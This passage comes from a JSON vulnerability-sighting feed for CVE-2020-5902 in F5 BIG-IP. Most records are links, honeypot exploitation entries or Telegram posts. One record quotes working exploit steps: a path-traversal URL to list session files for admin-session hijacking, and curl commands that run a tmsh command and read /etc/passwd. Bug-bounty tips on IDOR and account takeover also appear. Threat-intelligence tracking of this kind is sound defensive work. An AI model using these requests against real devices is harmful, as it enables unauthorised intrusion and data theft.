\u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u0434.    \n\u041e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d \u043e\u0431\u0445\u043e\u0434 \u043c\u0435\u0440 \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0449\u0435\u043d\u0438\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 F5 BIG-IP", "creation_timestamp": "2020-07-13T13:22:41.000000Z"}, {"uuid": "2553fa41-c18f-4f33-b987-300cbaf783b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "published-proof-of-concept", "source": "https://t.me/thebugbountyhunter/4437", "content": "How to Find and Exploit CVE 2020-5902\n\nhttps://www.cspshivam.com/post/how-to-find-and-exploit-cve-2020-5902", "creation_timestamp": "2020-07-07T21:31:57.000000Z"}, {"uuid": "4447b74d-57e6-45b9-9e2c-e9a38042252d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "seen", "source": "https://t.me/thebugbountyhunter/4452", "content": "Understanding the root cause of F5 Networks K52145254: TMUI RCE vulnerability CVE-2020-5902\n\nhttps://research.nccgroup.com/2020/07/12/understanding-the-root-cause-of-f5-networks-k52145254-tmui-rce-vulnerability-cve-2020-5902/", "creation_timestamp": "2020-07-12T22:34:02.000000Z"}, {"uuid": "d57c5d1b-faff-4f62-a1ec-d299ec769c37", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "https://t.me/CyberSecurityTechnologies/1516", "content": "#Malware_analysis\n1. Mirai Botnet Exploit Weaponized to Attack IoT Devices via CVE-2020-5902\nhttps://blog.trendmicro.com/trendlabs-security-intelligence/mirai-botnet-exploit-weaponized-to-attack-iot-devices-via-cve-2020-5902\n2. The Curious Case of Aspnet_Compiler.exe ...\nhttps://ijustwannared.team/2020/08/01/the-curious-case-of-aspnet_compiler-exe", "creation_timestamp": "2022-05-28T05:16:54.000000Z"}, {"uuid": "cbe0dbab-ac73-47cf-85aa-80d99d648153", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/1378", "content": "#exploit\nF5 BigIP TMUI Critical RCE (CVE-2020-5902, CVE-2020-5903):\nhttps://research.nccgroup.com/2020/07/05/rift-f5-networks-k52145254-tmui-rce-vulnerability-cve-2020-5902-intelligence/\n]-> PoCs:\n1. https://github.com/rapid7/metasploit-framework/pull/13807/commits/0417e88ff24bf05b8874c953bd91600f10186ba4\n2. [https://{host}]/tmui/login.jsp/..;/tmui/locallb/workspace/directoryList.jsp?directoryPath=/tmp \nthere you will see the session files like: \"sess_XXYYXXYYXXYYXXYYXXYYXXYYXX\". \nSet this in the cookie and you are in admin's session...\n3. RCE\ncurl -v -k 'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin'\n4. Read File\ncurl -v -k 'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd'\n]-> Security Advisory:\nhttps://support.f5.com/csp/article/K52145254\n]-> A\u00a0quick NMAP script:\nhttps://raw.githubusercontent.com/RootUp/PersonalStuff/master/http-vuln-cve2020-5902.nse", "creation_timestamp": "2024-11-02T15:23:24.000000Z"}, {"uuid": "46913224-7cd3-412d-9a36-504d007498d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/1954", "content": "#Malware_analysis\n1. Mirai-alike Python Scanner\nhttps://isc.sans.edu/forums/diary/Miraialike+Python+Scanner/26698/\n2. Honeypot Network Forensics\nhttps://www.netresec.com/?page=Blog&month=2020-10&post=Honeypot-Network-Forensics\n]-> F5 CVE-2020-5902, Citrix CVE-2020-8193, CVE-2020-8195, CVE-2020-8196 honeypot data release\nhttps://research.nccgroup.com/2020/10/09/rift-f5-cve-2020-5902-and-citrix-cve-2020-8193-cve-2020-8195-and-cve-2020-8196-honeypot-data-release", "creation_timestamp": "2020-12-25T16:01:09.000000Z"}, {"uuid": "27317f87-f4ae-4d01-82a9-e18da9d775fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/2358", "content": "#Analytics\nTop-10 exploited vulnerabilities in July-December 2020:\n1. CVE-2020-0601 - CurveBall CryptoAPI\nhttps://t.me/cybersecuritytechnologies/628\n2. CVE-2019-17026/CVE-2020-0674 - 0-Day Vulnerability in Mozilla Firefox\nhttps://t.me/cybersecuritytechnologies/914\n3. CVE-2020-0796 - Windows SMBv3 LPE exploit\nhttps://t.me/cybersecuritytechnologies/874\n4. CVE-2020-1472 - Microsoft Zerologon\nhttps://t.me/cybersecuritytechnologies/1742\n5. CVE-2020-5902/5903 - F5 BigIP TMUI Critical RCE\nhttps://t.me/cybersecuritytechnologies/1378\n6. CVE-2018-10561 - Dasan GPON Router Auth. Bypass\nhttps://t.me/cybersecuritytechnologies/51\n7. CVE-2020-1350 - Exploit SIGRed\nhttps://t.me/cybersecuritytechnologies/1422\n8. CVE-2020-15999 + CVE-2020-17087 = Win Kernel cng.sys buffer overflow 0-Day\nhttps://t.me/cybersecuritytechnologies/1960\nhttps://t.me/cybersecuritytechnologies/2010\n9. CVE-2020-16898 - \"Bad Neighbor\" RCE Vulnerability\nhttps://t.me/cybersecuritytechnologies/1912\n10. CVE-2020-1938 - \"Ghostcat\" Apache Tomcat\nhttps://t.me/cybersecuritytechnologies/705", "creation_timestamp": "2025-01-04T20:00:34.000000Z"}, {"uuid": "39d229a3-8172-45bc-b45b-8b43a2236f64", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-05-05)", "content": "", "creation_timestamp": "2026-05-05T00:00:00.000000Z"}, {"uuid": "58a48b70-06db-47b1-a047-0fcbb0327dcc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-05-05)", "content": "", "creation_timestamp": "2026-05-05T00:00:00.000000Z"}, {"uuid": "8b9ce55b-6f43-435f-8f48-33c747525c13", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "published-proof-of-concept", "source": "https://t.me/reverseame/390", "content": "F5 BIG-IP hsqldb (CVE-2020-5902) Vulnerability Analysis https://paper.seebug.org/1272/", "creation_timestamp": "2026-08-03T16:00:04.969452Z"}, {"uuid": "ed0cb5ef-a0cb-4cfc-898b-71e6a7663083", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "seen", "source": "MISP/453274cf-e60d-452a-b88e-0bf6a5a6dae4", "content": "", "creation_timestamp": "2026-05-07T22:28:58.000000Z"}, {"uuid": "66cda32e-0e9e-4e38-809a-81f997a812cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-05-09)", "content": "", "creation_timestamp": "2026-05-09T00:00:00.000000Z"}, {"uuid": "327b38b6-15f4-4a1d-b004-7bf6cd9eb4e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-05-10)", "content": "", "creation_timestamp": "2026-05-10T00:00:00.000000Z"}, {"uuid": "91ce00c1-4a4f-48b6-8d37-7a76545cf897", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "seen", "source": "https://t.me/bhhub/86", "content": "#BugBountyTips of the Day\nComplete Application Secure against IDOR still found one IDOR 1) capture request to delete user data 2) change method from DELETE=>GET 3)  send request and observe that you are able to view data  4) change I'd with other user's & observe #bugbountytips #hacker #bugbountywriteup\n---\nFavorite bugs found by me and disclosed this year:  \u2022 CVE-2020-5902 - RCE in F5 BIG-IP \u2022 CVE-2019-19781 - RCE in Citrix ADC \u2022 CVE-2020-3452 and CVE-2020-3187 - Path Traversal in Cisco ASA  I hope I've made this world a little safer\ud83d\ude42 #bugbounty\n---\nAlways try to log in while removing your username/email and sending only a password. If you're lucky, the backend will take the password alone, check it against the database, and log you into the first matching account, which leads to account takeover. #bugbountytips\n---\nTOP 20 Weakness from HackerOne disclosed Reports  (From 9k disclosed reports)  Are u there? \ud83d\ude06  Just playing a little with these json files from diclosed reports.   https://t.co/A9C3S95uIR #bugbountytips  https://t.co/PFt1iUBjSe", "creation_timestamp": "2020-12-31T13:37:04.000000Z"}, {"uuid": "63003c84-021f-486f-b019-8be2f5105e5b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-05-15)", "content": "", "creation_timestamp": "2026-05-15T00:00:00.000000Z"}, {"uuid": "5d483ba6-1014-4398-8ef1-b72b560bc9ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-05-16)", "content": "", "creation_timestamp": "2026-05-16T00:00:00.000000Z"}, {"uuid": "4fa8bbb3-f401-4dd4-ad95-c16a7fecc35f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "seen", "source": "Telegram/-0I9knA9QPwERb2ZDVrXXjlMVL988JTKg2c_wM5C_aSxQw", "content": "", "creation_timestamp": "2026-08-02T14:32:10.882686Z"}, {"uuid": "6d97e1c6-5d69-469a-81e6-11c0ad371fc0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "published-proof-of-concept", "source": "https://t.me/reverseame/390", "content": "F5 BIG-IP hsqldb (CVE-2020-5902) Vulnerability Analysis https://paper.seebug.org/1272/", "creation_timestamp": "2026-08-04T00:00:33.233895Z"}, {"uuid": "ad39ffe0-8e16-4d09-8251-600fd5e9e505", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-05-17)", "content": "", "creation_timestamp": "2026-05-17T00:00:00.000000Z"}, {"uuid": "34bd24eb-7f06-4044-8ebe-42fc52c1a878", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-05-18)", "content": "", "creation_timestamp": "2026-05-18T00:00:00.000000Z"}, {"uuid": "79b32ac2-c870-4344-b9b5-51468cd258e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-05-19)", "content": "", "creation_timestamp": "2026-05-19T00:00:00.000000Z"}, {"uuid": "b1f01ac5-6bde-400b-8189-04e8e185fc4e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-05-25)", "content": "", "creation_timestamp": "2026-05-25T00:00:00.000000Z"}, {"uuid": "cc46bc7f-4e37-4a58-9ae4-d13bafdcfdad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-05-26)", "content": "", "creation_timestamp": "2026-05-26T00:00:00.000000Z"}, {"uuid": "abbc78f9-ec1e-41a0-9f00-50317cbea0c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-05-27)", "content": "", "creation_timestamp": "2026-05-27T00:00:00.000000Z"}, {"uuid": "d6035246-780d-4ab3-ac06-a35477a78931", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-05-29)", "content": "", "creation_timestamp": "2026-05-29T00:00:00.000000Z"}, {"uuid": "a4cdb24b-8e9f-4917-8039-2b008a1e2d01", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "seen", "source": "https://bsky.app/profile/golangoss.bsky.social/post/3mn37pvf2mg2w", "content": "F5-BIG-IP-POC (\u2b50\ufe0f 10)\n\nCVE-2020-5902 CVE-2021-22986 CVE-2022-1388 POC\u96c6\u5408\n\n#go", "creation_timestamp": "2026-05-30T14:03:24.633731Z"}, {"uuid": "a70dd128-8905-48b6-a4bc-7113953b4a4f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-05-31)", "content": "", "creation_timestamp": "2026-05-31T00:00:00.000000Z"}, {"uuid": "bb0e20e0-c73c-45b1-8ce8-a98a5bc0c4ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-06-02)", "content": "", "creation_timestamp": "2026-06-02T00:00:00.000000Z"}, {"uuid": "14e9ef17-ded1-4ab6-9212-5842835ecfd0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-06-03)", "content": "", "creation_timestamp": "2026-06-03T00:00:00.000000Z"}, {"uuid": "1335cf99-2bed-4369-9bbb-75a5942e41bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-06-04)", "content": "", "creation_timestamp": "2026-06-04T00:00:00.000000Z"}, {"uuid": "56ab3f8a-0cee-4efa-8b95-e0158bb47748", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-08-16)", "content": "", "creation_timestamp": "2026-08-17T10:15:07.719491Z"}, {"uuid": "09ad66fc-4224-4db7-9f8f-02466acc2ee2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-08-20)", "content": "", "creation_timestamp": "2026-08-21T10:15:10.954570Z"}, {"uuid": "3456840b-602d-45e9-af7c-c474c4401b9f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-06-12)", "content": "", "creation_timestamp": "2026-06-12T00:00:00.000000Z"}, {"uuid": "db0313e6-7dc5-4a42-ab76-62858051141a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-06-13)", "content": "", "creation_timestamp": "2026-06-13T00:00:00.000000Z"}, {"uuid": "cd5d30d2-1f30-4d70-8de5-1d7cd724dfe5", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/5c73cb3a-b869-4a43-a6be-d5b9473ac06a", "content": "", "creation_timestamp": "2026-06-19T12:47:44.972576Z"}, {"uuid": "142fd916-e93c-4393-84bf-8bff55361a60", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-06-19)", "content": "", "creation_timestamp": "2026-06-19T00:00:00.000000Z"}, {"uuid": "890e992f-73fb-40f2-b0da-edce18a1e616", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-06-20)", "content": "", "creation_timestamp": "2026-06-20T00:00:00.000000Z"}, {"uuid": "433e5813-32e6-451d-b919-bcf45e8affed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-06-22)", "content": "", "creation_timestamp": "2026-06-22T00:00:00.000000Z"}, {"uuid": "6205b521-cc27-44fa-a9dd-5497310470e2", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/e93cb2be-1218-4314-a189-d70ff18f8901", "content": "", "creation_timestamp": "2026-06-23T14:04:43.675933Z"}, {"uuid": "29a062ff-51cb-4dba-aed3-1d9720a3b929", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-06-25)", "content": "", "creation_timestamp": "2026-06-26T10:15:13.122441Z"}, {"uuid": "7a78c74a-6865-4568-a555-8aa935750497", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-08-05)", "content": "", "creation_timestamp": "2026-08-06T10:15:10.287918Z"}, {"uuid": "3187fd66-2fea-462d-84ea-2dfc75dc42a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-06-27)", "content": "", "creation_timestamp": "2026-06-28T10:15:06.823857Z"}, {"uuid": "8949492f-2cdf-418c-8167-4543fb08a3c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-06-28)", "content": "", "creation_timestamp": "2026-06-29T10:15:06.720046Z"}, {"uuid": "f2b4af30-1bad-4c53-8bfc-00884254382a", "vulnerability_lookup_origin": "c8fb6bf1-f81f-4cb8-95b1-eadbb3b54ee8", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/cec1ca4b-8e20-484b-9031-6a3c7ae6b408", "content": "", "creation_timestamp": "2026-06-30T09:22:36.891259Z"}, {"uuid": "987056c4-1878-4d6d-8fd4-e166d6ebea6f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-06-29)", "content": "", "creation_timestamp": "2026-06-30T10:15:09.371209Z"}, {"uuid": "715f0391-9190-43f5-a2ca-db58a32c8c2d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-06-30)", "content": "", "creation_timestamp": "2026-07-01T10:15:08.008143Z"}, {"uuid": "5e5d9a5e-feaa-4422-9aff-d8299e6d3b10", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-08-14)", "content": "", "creation_timestamp": "2026-08-15T10:15:09.252451Z"}, {"uuid": "55f3e91c-4308-48c5-ad09-ccfb71e15055", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-01)", "content": "", "creation_timestamp": "2026-07-02T10:15:05.842564Z"}, {"uuid": "0feb5e1e-1362-49f2-ad5b-61b603788ade", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-02)", "content": "", "creation_timestamp": "2026-07-03T10:15:07.133541Z"}, {"uuid": "ce5ff86a-1e44-481f-87f2-d6002b76b9de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-03)", "content": "", "creation_timestamp": "2026-07-04T10:15:06.722363Z"}, {"uuid": "86b27718-1ced-4f57-8333-641fe375cb1e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-04)", "content": "", "creation_timestamp": "2026-07-05T10:15:27.766896Z"}, {"uuid": "e441cc77-d759-4f64-8103-c4587ffeba87", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-05)", "content": "", "creation_timestamp": "2026-07-06T10:15:17.701568Z"}, {"uuid": "04bc9d64-606a-4019-ae3b-d3a1805cadcd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-06)", "content": "", "creation_timestamp": "2026-07-07T10:15:12.104473Z"}, {"uuid": "45250f27-ae76-4e22-a774-6e011473d7d9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-07)", "content": "", "creation_timestamp": "2026-07-08T10:15:08.418456Z"}, {"uuid": "dbd72e81-bf87-4ad4-9560-10c5fb081ad4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-08)", "content": "", "creation_timestamp": "2026-07-09T10:15:10.337343Z"}, {"uuid": "6e7b770d-a5d7-4ae9-8dcc-66253991e249", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "seen", "source": "MISP/453274cf-e60d-452a-b88e-0bf6a5a6dae4", "content": "", "creation_timestamp": "2026-07-11T00:15:02.865167Z"}, {"uuid": "696c1317-d53e-40eb-9e06-84cd7e2bc2c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-08-17)", "content": "", "creation_timestamp": "2026-08-18T10:15:11.674687Z"}, {"uuid": "1408cffe-6dae-403a-94cc-55686f78395c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-08-18)", "content": "", "creation_timestamp": "2026-08-19T10:15:16.286697Z"}, {"uuid": "628fb39f-c865-45c0-b36d-f056752ae527", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-14)", "content": "", "creation_timestamp": "2026-07-15T10:15:06.518417Z"}, {"uuid": "df529340-083c-4a52-ad1b-e73ab24b05d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-08-28)", "content": "", "creation_timestamp": "2026-08-29T10:15:21.540994Z"}, {"uuid": "bde38160-9a01-4435-bbf0-65e254294cf3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-15)", "content": "", 